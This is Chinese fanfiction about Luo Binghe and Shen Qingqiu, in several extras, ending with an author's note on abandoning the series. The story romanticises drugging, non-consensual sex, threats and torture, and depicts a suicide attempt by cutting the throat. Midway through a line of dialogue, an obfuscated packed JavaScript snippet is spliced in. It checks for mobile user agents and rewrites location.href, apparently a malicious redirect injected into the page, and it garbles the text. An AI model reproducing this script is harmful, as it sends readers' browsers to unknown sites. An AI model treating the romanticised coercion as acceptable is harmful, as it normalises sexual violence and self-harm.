“弟子在这呢。”洛冰河将沈清秋的手臂拉过自己脖子后面,让对方靠得更舒服一些:“弟子现在带您去沐浴。当然,您若是在反抗,弟子就将刚才没做完的事情,继续下去。” 说着,随着走路的颠簸,另一个的物件也在摇晃。位置嘛——大概是沈清秋腰背和腿根附近。 沈清秋立刻老实了下来。 ‘哧—’洛冰河看着怎么讨好都不会接受,反倒是用这种事一威胁就会听话的沈清秋,忍不住摇摇头:他师尊的表现太过于明显,这样随便两句话就能拿捏,跟明摆着‘我的弱点就是这个快来利用’有什么区别? 沈清秋刚被洛冰河放入池水,立刻肩肘发力,将洛冰河推到一旁,然后整个人窝在水里。抗拒的意味过于真实,洛冰河看着被当成工具人的自己,忍不住逗对方:“师尊,弟子也不曾沐浴呢。” 沈清秋手抬起,猛的下落,无数水花形成水幕布,身形就那样掩在雾气中,若隐若现。 ‘行吧。’洛冰河随手捞一件衣服,任劳任怨的将床铺和屋子用清洁咒收拾干净,一招‘烈火燎原’将污秽焚烧干净,重新铺好绣着鸳鸯的床单与绣着龙凤呈祥的被褥,转身回到浴池。 简单清洗后,将中午的饭菜摆好,开始喊沈清秋出来吃饭:“师尊,您若是自己洗的不舒服,弟子也可以代劳的。弟子再给您一炷香,若是还不愿露面,弟子就亲身下水帮您。” 沈清秋露出脸,心不甘情不愿的要求洛冰河给他取衣物过来。洛冰河指指旁边的凤冠霞帔,身穿另一套婚服,笑的明媚:“师尊,请。” “……”沈清秋咬牙,要求洛冰河换一套。 洛冰河:“师尊啊,您看看弟子,身上有储物袋吗?” 沈清秋:“你故意的。”搞什么一室红灯笼,又非要说什么洞房花烛夜,现在还只留下婚服,不就是要逼他‘成亲’? 他们这样的关系,洛冰河身边里又那么多女人,无非是羞辱罢了。 “师尊看出来了呀。”洛冰河笑的眼睛眯起来,露出标准的八块小白牙:“其实师尊身材很好,这些衣物只会遮掩师尊的美,不穿也罢。” “……”要么穿婚服,要么不穿。如果在水里待太久,且不说水面能不能遮掩什么,洛冰河这畜生也不会放任他躲在水里。 “你说,只有一件?” “对。” “我要你身上那件。”如果非要穿,最低不能是凤冠霞帔。而且……沈清秋并不觉得,洛冰河会穿。 所以,要不就干脆惹怒对方,然后打一架吧。 出乎意料,洛冰河干脆利落的在沈清秋面前将衣服脱下来,毫不遮掩的脱/光,并将那件凤冠霞帔认真的穿戴整齐,以一种挑衅又期待的视线盯着沈清秋。 “……”丫的。总觉得中计了。 势不如人,沈清秋将还带着对方体温的红色婚服套上,还在滴答水的头发很快将衣服晕湿。洛冰河手里拿着布锦,引沈清秋坐到位置上,细致的为对方烘干衣物,擦干头发。 至于期间沈清秋的反抗,全都是两人之间的清/趣。 看着面前跟中午一般无二的菜色,沈清秋连拿起筷子的想法都没有。虽然腹中有些饥饿,但是这些菜,他是一口也不想动。 “师尊放心,他们没毒。” “呵呵。”是没毒,只是有药。 洛冰河左劝右劝就是无用,无奈之间只好威胁:“师尊不想吃,是希望弟子喂您,还是您用另一张嘴吃?” “!!!”沈清秋已经准备好开打了。 真好,又是要打的一天。洛冰河扯扯嘴角,给沈清秋布菜:“师尊,先吃饭。您与弟子争斗那么久,又吐了那么久,吃完饭再说别的。” 只是沈清秋说什么也不吃,甚至一气之下筷子压在桌子上,直接被摔断了。 沈清秋:……他现在说不是故意的,洛冰河这畜生不会信吧? 洛冰河:……不吃就不吃,摔筷子砸碗,一天天的真的够了啊。 此情此景,洛冰河突然问一句:“您是不喜欢这些菜色吗?那您喜欢吃元宵吗?” 沈清秋:“非年非节,不吃。” “哦。”洛冰河点点头。脑海里——是某个成功案件里,绝对不吃元宵的沈清秋。 那个沈清秋愿意改变的契机,是‘洛冰河’一时兴起做了碗元宵,‘沈清秋’毫无疑问的直接打碎。于是,‘洛冰河’恼羞成怒,不仅硬逼着对方吃完了那碗带着沈清秋满身鲜血和满地污泥的元宵,还用极其粗暴的清/事和极其凶狠的手段将人折腾得奄奄一息。更有甚者,被冻的结实的冰元宵,被无情的塞入对方体内,直令‘沈清秋’听见、看见,立刻会下意识厌恶。 可—— 即便如此,两人最后,还算是成功携手的。 在无数没有成功的世界里,‘沈清秋’的际遇,只会更凄惨。 床/奴、多人乱搞、卖到青/楼、丢给手下,各种无意义、只为听到敌人惨叫与冷汗的刑罚折磨手段,断手断脚、失去一切—— 无数故事里,‘沈清秋’承载了太多恶意与痛苦,无论是he/be/te,众叛亲离、满身苦痛,就像是刻进了骨子里的宿命,怎么逃,都甩不掉。 ‘我不认同我的童年是悲惨的,也不需要怜悯与同情。无数过往成就现在的我,而此时此刻的自己,永远是最好的。’ 洛冰河的心脏有些疼。为面前这个注定了怎么样都不会屈服,却仿佛怎么样也逃不开‘被打压折辱’魔咒的人,而心痛。 无论是他们本源的‘狂傲世界’,还是以他们为对比的‘渣反世界’,更甚至说其他衍生的‘三千世界’。‘沈清秋’,似乎……从来都,没有肆意妄为过。 这样的灵魂啊。 这样的坚守与永不低头。 注定了会被其他人,忍不住的,想要打压。 情况陷入诡异的安静中,就在沈清秋做好洛冰河会暴怒与他对打的准备时,洛冰河直接坐到沈清秋对面,自顾自吃起饭来:不吃拉倒,他饿了,他要吃饭。 等洛冰河吃完饭,看着端着架子不知道做什么的沈清秋,相当恶劣的走到对方面前。他心疼归心疼,得到归得到。难得能因为对方在其他世界已经很苦,洛冰河就什么也不做吗? 既然如此,为什么其他世界不将其他的‘沈清秋’分一部分温情自己? “弟子说了,饭菜没毒。至于其他的……弟子喂与您自己吃,除非您能狠下心将弟子压在身下——否则,有什么区别呢?” 灼热的呼吸与强势的拥抱一起袭来,沈清秋还来不及反应,洛冰河的声音再次于耳垂响起:“您身上的药物尚未解开,弟子又吃了与您一样的药物,不知您是打算在暖池旁鸳鸯戏水,还是回屋里被翻红浪?” 一样艳红鲜艳的嫁衣,两个吃了同样药物的人。而且其中一个,对此早就蓄谋已久。 沈清秋躲开洛冰河故作亲密的姿态,反手将玉碗打碎,用尖锐割裂自己的脖颈:“本尊,一个都不选。” 宁为玉碎、不为瓦全。敌人的鞭打责罚,在沈清秋看来不过是正常的恩怨报复,可若非要他雌/伏于人下,还不如干脆死亡。既然洛冰河给了他接触碗筷的机会,那就要好好利用,直接一击毙命,干脆利落。 “……” 他丫的,我亲爱的、不舍得对你下重手的师尊,你是真的皮啊。 番外:他厌弃的,是自己连累其他人 折断一支翠竹,碾碎一朵鲜花。让高傲者低头求饶,令清雅者满身脏污。 这本就是人性之恶,是世人最喜欢看的戏码。 生活的镰刀早该落下,他逃避了那么久,而今只是终于得到回报而已。沈清秋狠狠的将指甲压入手心,用力挤出血迹: ‘沈清秋,这是你对其他人的赔罪。’ 手腕间叮当作响,冰凉沉重的触感粗燥的磨砺着腕骨,沈清秋咬着牙、期待着被更粗暴、更疼痛、更剧烈、更糟糕的对对待: ‘沈清秋,是你造就了洛冰河这个恶魔,所以你活该受着。’ 天魔出世,生灵涂炭。洛冰河为一己之私将三界全部拉入战场,放任魔族在修真界杀伤抢掠,无数哭喊着的人命化为大能们扬名立万的垫脚石。 而这个天魔,被沈清秋亲自收入座下,倾注恶意。更是在血脉暴露的那一刻,没有选择一剑砍杀,也没有将人上交给宗门。 而是—— 心软的放虎归山。 所以。 是沈清秋亲自培养出的天魔,更是沈清秋亲手将暴/露了血脉的天魔放走。 洛冰河黑化后毁天灭地,沈清秋就是背后的操刀者。洛冰河残忍狂暴的清除不满声音,沈清秋就是为其递武器的——共犯。 “师尊!”洛冰河看着比自己还疯批、甚至还主动将自己搞的遍体鳞伤的沈清秋,心里突然生出恐慌。 沈清秋的自弃自厌一直都很重。 他能救助弱者,却没办法改变弱者回去后依旧会被官府剥削的世道; 他能斩妖除魔,却没办法带走只留下残躯艰难度日的贫民; 他能教出无数个真正的君子,却没办法改变自己尖酸刻薄、看见英才会嫉妒天道不公的劣根性。 他能做的太少了,世间不公又太多了。学医救不了世,所以他选择为世间多培养真正的君子。 桃李满天下,百年大计、教育为本。 而今,沈清秋养出一个黑化灭世的罪人,避无可避的事实冲击着他的道德底线,令沈清秋完全没办法睁开眼睛,直视这个被他间接损坏殆尽的世界。 “魔尊是没吃饭吗,这后宫的女人怕是要自个找乐子才是。” 沈清秋的话语是一惯的讽刺意味拉满,即便身体已疲劳到无力抬起,与心中的痛苦比起来,这点疼痛远远不够。 他在求死。 可死亡之前,他要赎罪。 洛冰河想要与他一夜风流,就给他。 沈清秋用自己换取剩下之人的存活,也算是对那些人尽了最后的情义。 今夜之后,沈清秋便不会存在。他的一生从头到尾都不被期待,幼无父母庇护,老无后人送终。赤/条条的来,一身脏污的走,倒也合乎他的下场。 “师尊刻意激怒弟子,是觉得疼痛还不够吗?” 洛冰河一直将沈清秋当成云端嫡仙。甭管是一开始的一眼万年,还是现在的沦为脚底污泥。 按照天道给他的剧本,沈清秋明明应该生性刻薄恶毒,可真正的他却会为弱者拔剑向前。他明明那么努力求生,却又愿为了尊严玉石俱焚。 即便是现在的痛苦,也不是因为他遭受了弟子的报复。而是——养出一个灭世魔头。 明明自己都泥菩萨过河的人,却依旧为众生而苦。自己都深陷泥潭的人,却始终在想方设法拉其他人。 这样的人。 不能让他就这样死去。 洛冰河将人翻到自己面前,认真的看着对方的眼睛:“师尊,你不会死,也死不了。弟子不会动那些人,那些人也不配师尊为他们上心。” 沈清秋的眼睛毫无波动,与刚才癫狂崩溃、折磨自己的样子几乎分裂成两个人。 可洛冰河知道,沈清秋已经发泄完成了这些时日积攒的郁恨,这样的平静,只是因为死意占满了他的神魂。 他要为沈清秋重新设立一个锚点,就像是他反复设想过多次,要将沈清秋对自己的厌弃转化为对‘洛冰河’的恨意。 有仇恨作为基点,沈清秋就可以像他一样以仇恨为食、以复仇为引,以压倒弄死敌人为最终目的,挣扎着爬出深渊,想方设法将敌人踩在脚下。 师尊,如果你不喜欢这个世道,不愿停留在这个令你痛苦的世界。那么,总该要先报了仇,才能轻快离开不成? 洛冰河划破自己的手腕动脉,将鲜红色的血液喂到对方口中: “师尊,弟子犯下那么多罪恶,您不认弟子是应该的。只是,无论谁也无法否认,弟子是您教出来的。这一点,您责无旁贷。” “这世间的罪恶与伤亡,您可以全部归咎到教出弟子的您身上。而弟子变成如今这样,您也可以为此自责。” “只是您现在所经历的悲苦与愧疚,是因为弟子。现在将您撕咬占有、给予您无上欢好的人,也是弟子。” “真正行灭世之行的,是弟子。将一切毁坏破碎的,是弟子。甚至您这个‘恶毒师尊’的名声,也是因为弟子。” “弟子现在就在您身边,愿意将一腔热血奉上。若您真想魂断黄泉,至少要先杀死弟子这个罪恶源头,才算是有个交代。” 灼热荤腥的液体顺着咽喉滚入,原本清明的神志一点点被黑暗覆盖,修真者的身躯与天魔血极不适配,被强行改造的经脉破碎成片,连内脏都发出痛苦的悲鸣。 痛。 当身体的疼痛达到极限的时候,精神是没工夫思考的。 沈清秋将洛冰河的灭世行为背负在自己身上,可他又无力改变这一切。只能苟延残喘的存活着、等待着,希望以一场盛大的凌迟,去赴死。 只是洛冰河说的不错。 洛冰河不知道脑子出什么问题,居然执意的要与他欢好不说,还将心口与弱点暴露在沈清秋面前。 沈清秋是准备死亡的罪人,若是能在死之前将灭世的天魔一起带走,也算是最后的补偿吧。 过度的疲劳导致眼皮沉重,天魔血在体内翻涌激起深深的滚烫,沈清秋被洛冰河紧紧的抱在怀里,终于睡去。 ——碎碎念—— 想了好几天。为什么开个废料这么难。 因为……不舍得。 本来就是因为心疼才为他发声,现在却要给了给他发声而描写他在坑底的样子。 下不去手写他的脆弱与破碎。 自然就没办法从中站起来后强大无敌。 因是虚的,从中结的果,又怎么可能稳定? 所以甭管我多么想写他沉沦,一开始的初心中,也没办法写他咬碎牙齿后,向世道屈服。 所以他只能咬着牙对抗。 要么屈服,要么对抗。 屈服伤傲骨,对抗支离破碎。 之前的所有文无一例外都是双杀、互砍,不服就干。 根本缘由也在这里啊…… 番外:无论当初是谁为谁赴死,他都会为他感到不值 “那如果当初为您赴死的不是苍穹山掌门、是您从小到大的玩伴,您可否会为他而情绪崩溃?如果当初是幻花宫的老阴比,是青阳山的白胡子老道,是昭华寺的那群秃驴,师尊可会如现在这般恨不得弄死弟子,继而灵魂永寂,想以死逃避一切?” —————— “弟子不想用那些责罚和疼痛使您心力憔悴。不如我们做些彼此都舒服的事情,让您感受弟子的情感。“ ———— “弟子只想问,如果当初为您赴死的不是苍穹山掌门、是您从小到大的玩伴,你可否会为他而情绪崩溃?如果当初是幻花宫的老阴比,是青阳山的白胡子老道,是昭华寺的那群秃驴,师尊可会道心尽毁,继而灵魂永寂,想以死谢天下?” 沈清秋闭目不言,拒绝回答。 洛冰河看着沈清秋这样拒绝配合的样子,心中无端想象到其他世界里九为七发疯崩溃的样子,心中生出一股怨怼: “所以根本不是修真界领头如何,而是您的心灵寄托,一直护着您的兄长死亡,您才会对这个世界彻底失去信心吧?” “说什么为苍生而悲,可那么多人为了您而死,您依旧安守于地牢,连越狱的念头都没有。您既然那么在乎其他弟子的大业推行,却又为何在宁嘤嘤被污蔑的时候,认下所有指认,任凭他们望您头上倒污水?” 洛冰河越说越气,手指顺着褶皱一点点扣进去,挖掘着,按压着,将眼皮紧闭的家伙捞在怀里,感受着对方强忍的颤抖。 “师尊,回答我。”洛冰河咬着沈清秋的嘴唇,用虎牙略大力的磨着,执着的要一个答案。 只是沈清秋咽喉中传出被压抑的喘息,脸上升起难忍的红晕,兀自颤抖中下意识躲避洛冰河的接触,却始终不肯回答。 这世道总是喜欢让心怀大义者道心尽毁,让心怀正义者被污语缠身,让纯洁白雪被肮脏脚印狠狠践踏。 真正的侮辱从来不是对身体外在的折磨,而是自己的尊严和所在乎之物被人重重摔在地上、踏入泥土。 沈清秋仅剩那么一点点执念,小心翼翼的从幼年保护着,被世道反复打压、被旁人无情嘲笑、被一次次的失望和最终的绝望所压倒。因为事实胜于雄辩,英雄论迹不论心,所以当最后的结局尘埃落尽后,沈清秋所做的一切事情,只是‘沈清秋从来是个恶劣小人’的辅助证据罢了。 来自身后的刺激越发凶狠,洛冰河突破沈清秋唇齿的封印,在他口中驰骋疆场。疲累无力、被迫迎合的身躯,越发稀少的氧气所导致的窒息感,和被人误解却无法言说的愤恨,最终化为无尽的恼怒,令沈清秋一举推开洛冰河,口不择言: “会!不管是为了救我深陷地牢的清静峰弟子,还是被你一意孤行拉入战争的郡县城池,甚至那些平日里各自为政、暗地里勾心斗角的名门大派,所有被你强势灭杀的声音,所以因你而国破家亡、妻离子散的家庭,所有背负了罪恶与仇恨、毁灭与伤亡之人,我都会愧疚!” “养出一个欺君罔上、狂妄犯师的弟子无非是拖累我一人,可三界生灵因你的恨意而毁灭,修真界各派因你的怨念无端拉入战场,那么多无力之人被炮火波及而化为灰烬,那么多巍峨疆土被修真界大能的无数招式化为坑洼。洛冰河,你可以不顾及那些,但养出这样弟子的我,没办法拍着胸口说一句,这些人的死活与我无关!” “你说我不曾为其他的死亡而触动,却为了身边之人沉寂忍受。可是洛冰河,人心本就是偏的,远在天边的人死去和眼前亲人的死亡完全不能相提并论。‘苍生’从来不是指具体一个人,在亲近之人和毫不相干之人的性命之间做选择,这其中孰轻孰重,本就不可同等衡量!” “您终于说出来了啊。” 洛冰河静静看着发怒的沈清秋,任凭他将心中积攒的愁闷一一发泄出口。接着不顾沈清秋挣扎的手臂,将人重新拥在怀里:“说出来虽然改变不了什么,但一直压抑着总归会令人扭曲。” “您说因为事实定下,所以解释亦是狡辩。可过失杀人与蓄意谋杀本就是两种截然不同的行为,好心办坏事总比处心积虑害人性命要令人感叹,至于如何重演当初的情景,修真界难道半点回溯时光、重现虚幻的秘术都没有吗?” 洛冰河亲一下沈清秋嘴角,眼中满是欣赏:“承认自己恶劣很难,承认自己高尚亦是困难。那么多人口口声声说着为天下而战,可真正能做到的又有几个?” “您一心想着为生民请命,却又困宥于天道给您‘亲近之人必厄运缠身’的特性不得不离群寡居,因‘沈清秋插手必然会导致更大灾祸’而隔岸观火。所以只能寄希望于桃李天下,借弟子之手推行道义仁智。” “可惜最后养出来、最有成就的弟子,却是被您倾注恶意、两次推离的灭世魔头。” “理想被无情击碎,本怀救世之心却最终导致世界毁灭,所以您精神不振,最终被这份悔恨挤压,道心尽毁、存留无意。” 沈清秋终于将眼睛彻底睁开,漆黑的瞳孔里叠满了痛苦与迷茫,最后化为不顾一切的坚定:“柳清歌走火入魔那么多次,我想去救他,却导致了他的死亡。” “这天下本可岌岌可危、浑浑噩噩的存活,我想去救世,却导致世界更快毁灭。” “如果我插手后事态只会更加严重,那么我就不该插手。” “如果我存活会令你一直记着愤恨而疯狂失控,那么我会死在你手中,无论以何等屈辱模样。” “洛冰河,你现在已经得到想要的,无论是想再度压迫,还是现在就将我凌迟处死。苍生之中无辜者甚多,你既是天下的君父,就该为他们的性命负责。” 满满的欣赏与满足溢满洛冰河的心口,这样鲜活而目标高远、备受打击而坚定执着的沈清秋能令所有人心甘情愿的追随。 “弟子想要的,就是您对弟子坦诚相待。”洛冰河挥手清理干净一切,将沈清秋抱起来,一同入浴池小心为沈清秋清洗:“师尊既有青云之志,那么多师兄弟都在为了这个目标努力,弟子当然也责无旁贷。” “呵。”沈清秋拍开洛冰河向身后探去的手掌,话语极其刻薄:“是坦诚相见吧?”说着,又拍开洛冰河捏着肩膀的手臂,大跨步拉开与洛冰河的距离,双脚扎根于浴池底部,竖直的站立着,用布锦为自己净身。 在看见肩膀的牙印、僵硬红肿的胸口时,深深的吸了一口气,将布锦按上去搓洗。身体依旧敏感,即便是他自己动手,沈清秋也能感受到手指擦过的颤动,以及手心中硬挺的触感。比之单纯被动,双重叠加的感受更令人…… ‘该死的。’ 沈清秋暗骂一句。 这和自己玩有什么区别。 而且比这个更令人羞耻的,是身后还留存着别人东西的地方。 虽说沈清秋想死,但是给他个机会,他更愿意干干净净的死! 如果他直接死在床上,或者干脆灵魂破碎在床事上,他倒也无需考虑这些。可现在给他清洗干净自己的机会,沈清秋又怎舍得拒绝?就像是明知眼前阳光抓不住,可谁又能不想多看几眼外界风光? “师尊?”洛冰河看着满脸阴沉、不满都快溢出来的沈清秋,心中暗自欣喜于对方为什么而恼怒,嘴里却明知故问道:“可需要弟子待其劳?” “滚!”沈清秋左手猛击水面,以雾气隔绝洛冰河的视线。虽说这件事过于掩耳盗铃,但总比什么都没有遮挡的强。 解决了一旁的外人,沈清秋陷入更令人头疼的情况:他要怎么清理某人留在他体内的玩意? 虽然他不用考虑怀孕的问题,但这种东西留在体内绝对有害无利。走动之间还会时不时的流出几滴。湿润、黏糊、冰凉、缠绵的感觉,实在是,无时无刻不再提醒他究竟经历了什么非正常折磨。 杀人诛心。洛冰河这一招实在高,沈清秋即便是看清楚了对方计策,还是要捏着鼻子皱着眉往里跳。 “师尊若是嫌麻烦,弟子可以代劳的。保证让师尊心满意足不说,还能得到最全面的照顾。” “……” 谁会需要罪魁祸首的照顾啊! 而且这个‘心满意足’和‘全面’,怎么看都是不正经的吧? 但是话又说回来,他到底要怎么弄出去,总不能和洛冰河一样伸手抠吧?洛冰河那狗杂种都不觉得脏吗?居然好南风不说,将黑手都下到他身上了。 不要脸的东西,没脸皮的畜生。 “师尊?” 某个阴魂不散的玩意一直在耳边嗡嗡嗡的乱喊,沈清秋一举撤去水雾,冷着脸吩咐:“本尊要蔽体衣物。” 洛冰河先是震惊了一下,快速向沈清秋身后某个部位瞄了一眼,接着以完全不敢相信的表情,抬眉重复道:“师尊如果不方便,弟子可以……” “给本尊拿衣物来。” “……”看着突然‘居高临下’的沈清秋,洛冰河挥挥手,从储物袋里摸出套凤冠霞帔:“只有这个。” “换一套。” “真的只有这个。” “那就把你的衣服给我。” “……”洛冰河看着身上满是自己痕迹的沈清秋,咬牙取出曾穿过的那套男士婚服:“只有这个了。” “堂堂三界尊主,穷的只剩两件衣服?” “对,只有这两件。”洛冰河咬着牙,顶着沈清秋不屑的眼神,硬杠道:“反正师尊想穿就穿,不穿也无所谓,我们早就做过更亲密的事情,穿上衣服弟子就看不见了吗?” “……” 最后的结果是,沈清秋套上男士婚服,用格外欠揍的表情和满脸看笑话的视线,示意洛冰河要么穿女装,要么光着什么也不穿。 “师尊想要弟子穿女装早说啊,弟子还能不拒绝不说?”洛冰河将另一件凤冠霞帔穿好,不顾分说的将沈清秋揽在怀里:“这件衣服早就备下,弟子原以为需要花费无数精力和诱导,才能让您心甘情愿穿上。” “滚蛋。”沈清秋推开洛冰河,大跨步坐在书桌旁,拿起笔墨洋洋洒洒的写下无数治世经略,认真交到洛冰河手中:“天下百姓系于你一身,在其位就要谋其政,你既是天道选定的命运之子,当为这个世界重新燃起火光。” 接着,也不管洛冰河究竟跟没跟上,长腿一伸,走出殿外。抬手搭在眼前,直视着又一次看见的日升月落。 “取酒来。”沈清秋就像是回到了清静峰一样,极为自觉的端回仙尊架子,吩咐三界尊主跟随便喊奴仆似的,让洛冰河忙前忙后的替自己整治好桌椅板凳、烹茶煮酒。 “洛冰河,你知道我会死。” “师尊,您也知道弟子不会让您死。” “你挡不住将死之人向往黄泉的心。” “弟子真的会征战冥界,将您的灵魂抢过来。” “我已做完将尽之事,你的报复也该完结,何苦非要纠缠不休?” “弟子与您的缠绵是写满了无数世界线的,您不管逃到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15238433|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里去,弟子都会想方设法将您抓回来。” “……” 两人都是那样的执着,那样的坚定。 即便是身穿同款嫁衣,曾紧紧的骨血相连,将对方揉进骨髓。 沈清秋的身上还残留着对方的气味,身体内不曾清理的液体时不时的展出存在感,就连衣服上,都沾染着洛冰河刻意熏染的桃花香。 洛冰河对沈清秋的了解,远比沈清秋以为的更深厚。 最终,沈清秋叹口气:“你又何必将我留在这世间。” 无论是用他人性命存亡唤他清醒,还是强行喂药后将他撕裂、用痛苦和恨意逼他面对,亦或是最后无奈又放任的乖巧听话、如同真正的弟子般任劳任怨。洛冰河所做的一切,无非是想留他在人世间。 可洛冰河为什么非要让沈清秋停留,又搞什么绕这么大的圈子?就算是突然对他感兴趣,食髓知味的想享用沈清秋的身子,也没必要搞出这样的温情款款,做出这样的‘深情’‘欣赏’姿态。 不过是一具皮囊罢了,抹去他的灵魂后,洛冰河想要什么,‘沈清秋’还能有机会反抗、有资格拒绝不成? “因为弟子想要师尊的爱。” “?” “想要师尊毫无保留的、毫不吝啬的、心无芥蒂无需为他人考虑的,最为诚挚真切的爱意。” 洛冰河捏起袖子,平展其中细细密密绣着得凤凰和牡丹团花:“正如同这身嫁衣,无论是您穿还是弟子穿,弟子都心甘情愿。” “……”这样的感情有些灼热,沈清秋下意识的捏了下杯子。就像是久居寒冷之人,突然遇上火焰,他不仅不敢靠近取暖,还害怕被火焰灼烧。 沈清秋的日子太苦了,从未被在意、从没有成功过的过往里,从不曾有人赤城的献上热切。 “你明知道,你搞出那么多天灾人祸的惨剧,又灭杀那么多人。我后半生的痛苦皆由你制造。” “可弟子前半生的疼痛与愤恨,也是拜师尊所赐啊。” “那你又为何?”沈清秋垂下眼,脑海中忍不住分析对方给他希冀后又狠狠踩碎的几率有多大。以洛冰河展现的心机来看,可能性非常大。 看他自主死亡不顺眼,所以先将他的灵魂逼出来对话,给予一缕阳光后丢入更深的地狱,看他于痛苦和更深的疼痛中翻滚,彻底失去所有光芒。 “师尊!”洛冰河从座位上站起,将又一次自暴自弃、陷入阴谋论的仙尊从背后搂住。将下颚抵在对方的肩膀上,用脸去蹭着对方:“弟子知道我们之间隔着尸山血海,您不可能轻易接受弟子。” 接着,洛冰河拉过来一个板凳,坐下后将沈清秋侧拢着抱在怀里,亲下对方的嘴唇后以极其端正的态度直视着沈清秋的眼睛:“您能因万万人死,也能因亿个人活。” “弟子原以为这个‘亿’是指‘岳清源’一个人,深入剥析您的灵魂后,才发现这个‘亿’是亿万黎民百姓的。” “弟子不要求您回馈弟子的爱意,只是求您不要离开弟子的身旁。有您作为限制,弟子才能真正按照您的梦想,推行仁义礼治。” 梦想。 沈清秋的妄想一直被人嘲笑,实行一辈子也没能真正将他落地。现在却被亲手打碎之人,紧紧的拥在怀中,为他许下明媚未来。 “这世间分久必合合久必分,即便不是弟子,也会有赵冰河、钱冰河、孙冰河。即便您没教出天魔,也会有昭华寺的邪僧、天一观的歪道、幻花宫的孽障。” “天下大势是阻拦不了的,这世道就像是生了病的攀天大树,总会有一天出现问题。等到那时,反而不破不立。” “这件事总要有人去做,只是做到的,是弟子。这个人总需要有人去教导和激发动力,只是被选中的人,是您。” “我们都是被选中之人,您若是当真对世界有愧,就踩着同行者的枯骨、背负着亲朋的仇恨,努力去救世吧。” 番外:重生沈与九看见曾经自己,人甚至不能共情曾经的自己 沈清秋的脑海中似乎出现不少过往,耳边还留有另一人的轻轻叹气。 这些莫名其妙的情绪令沈清秋有些烦躁,推开门看着山林,执剑对打。 明帆出门,询问沈清秋状况,引沈清秋回去。期间拉扯到沈清秋手腕,被沈清秋一脚踹开之时,突然间暂停一下,用另一种同样威严却略带温和的语调,让他回去:“好了。明帆,回去休息吧。” 明帆:“师尊?” 沈清秋:“为师累了,你且去休息,不必多想。” 沈清秋走回竹屋,突然变脸:“你是何方孤魂野鬼?” 沈九:“倒也算不得什么熟悉之人,只不过是孤魂旅客罢了。” 沈清秋:“在我耳边胡说八道的,是你?” 沈九:“只不过是我醒来时的部分记忆,不必当真。” 沈清秋:“记……忆……” 沈九:“明日收徒,莫与柳清歌争斗。” 沈清秋:“那样的家伙,他不来招惹我,我自不会与他争。” 沈九:“……”忍了忍:“莫较真。” 沈清秋:“我已经够容忍你,你若是还……” 沈九:“……”他不记得自己脾气这么差吧? ———— 沈清秋与柳清歌对打。 沈九:“……”算了,打吧,反正死不了。跟柳清歌对打,总比跟洛冰河打强。 洛冰河还是被收下来了,沈九幽幽的叹口气。 在沈清秋一杯子砸过去的时候,忍不住开口:“洛冰河?收起你的小心思,否则即刻逐出师门。” 沈清秋:“第二次。” 沈九:“既然看出来,就干脆点破,省得他心存幻想。” 沈清秋:“这点悟性都没有,不配入我门下。你还说什么‘逐出师门’,我根本就没打算认下他。” 沈九:“……”丫的,你清高、你自傲!他以前的脾气连自己都受不了。 夜。冰哥悄咪咪出现在沈清秋附近,九:“狗皮膏药,果然怎么甩都甩不掉。” 冰哥:“师尊,我本以为又一次重生,没想到这次是附身。以旁观者的视角看我们的故事,够不够新奇?” 九:“……”新奇个鬼啊,他才不信他的脾气那么差。 明帆:“师尊,穹顶峰送来几个任务,您打算怎么安排?” 沈清秋:“一切照常。” 九:“其中一个任务中,魔物的能力与情报不符,与魔族的试探有关。” 沈清秋:“本尊凭什么信你。” 九:“……” 冰哥:“噗哈哈哈哈……” 沈清秋:“你身边这个魂,是魔族吧。自己都纠缠不清,会好心告诫我?” 九:“???”他干什么了!为什么突然扯到他身上? 冰哥(满意):“师尊的眼光,真是什么时候都很毒辣呢。” 九:“!!!”劳资不干了! 冰哥冲沈清秋行个拱手礼,飘然离开。 洛冰河:“你回来了。” 冰哥:“这些人的找事是因为看不惯你的天赋,用实力打脸即可。” 洛冰河:“他们找事,是因为沈清秋御下不严,管教不佳。” 冰哥:“沈清秋每天忙那么多事,哪会有功夫管理弟子间的争斗?” 洛冰河:“他任用明帆这种小人,又当众敲打我,表露对我的不喜。上行下效,其他人又怎会对我抱有善意?” 冰哥:“……” 洛冰河:“你究竟是谁的立场,为何帮沈清秋说话?” 冰哥:“……”所以他们的故事里,谁也不会听谁的话,谁也不会服软? 就像是后期的他们,冰哥即便是知晓远超常人的秘密,压抑性子尽可能对沈清秋晓之以情动之以理,这些骨子里的东西,根本不可能改变。 曾经的沈清秋不可能放下自己的仙尊架子去‘体察下情’与重视‘看不上的弟子’;曾经的洛冰河更是将一腔仇恨全部堆积在沈清秋身上。 后期的洛冰河想方设法要沈清秋看向自己,甚至不惜用尽一切办法将人打压折辱;结果沈清秋抗痛能力极佳,洛冰河无奈之下只能选择武力压迫,在对方躯体破碎和灵魂永寂之间来回跳转。 去往另一个世界之后,与复仇相比,洛冰河更希望沈清秋能对他付出柔情。但这个比让不愿意睁眼的人更困难,床/事压迫……更是恶心的沈清秋直接吐出来。 两人带着记忆重生,洛冰河拜入百战峰,沈清秋躲他躲得远远的。相比较于崇尚君子之风的清静峰,百战峰的勇猛无畏适者生存,才真正是修真界的残忍底色。 而这种地方,反倒是直接打碎了洛冰河对修真界慈师的想象,本来的那点子向往与崇拜之情瞬间稀烂——倒也更让洛冰河明白一件事: 身为正常取向的沈清秋与柳清歌,对待与自己有些想法的弟子,完完全全都是毫不犹豫的直接打,用武力将对方的小心思直接打碎。 而最开始的沈清秋,面向一个与自己过于相似,又对自己有想法的弟子…… 没选择自己弄死他,还真是,留手了啊。 为什么写不下去 这篇合集是这几个月来,想统一整合后写的长篇。原本计划是all九,结果现在刚开头就写不下去。 首先,因为主冰九(因为超爱互恨互恶),所以双重生开头。九先重生后记忆不全但性情大变,冰重生后开始回忆。 按照一开始的,是先开一部分的纯恶废料(问就是月经,想瑟瑟),然后冰九基于上一世记忆纠缠,在这一世(指什么都没被毁灭)HE。期间参杂着与柳清歌一起出门打怪,与岳七亲情或黑化向的交流接触,与其他峰主或弟子的温馨日常。 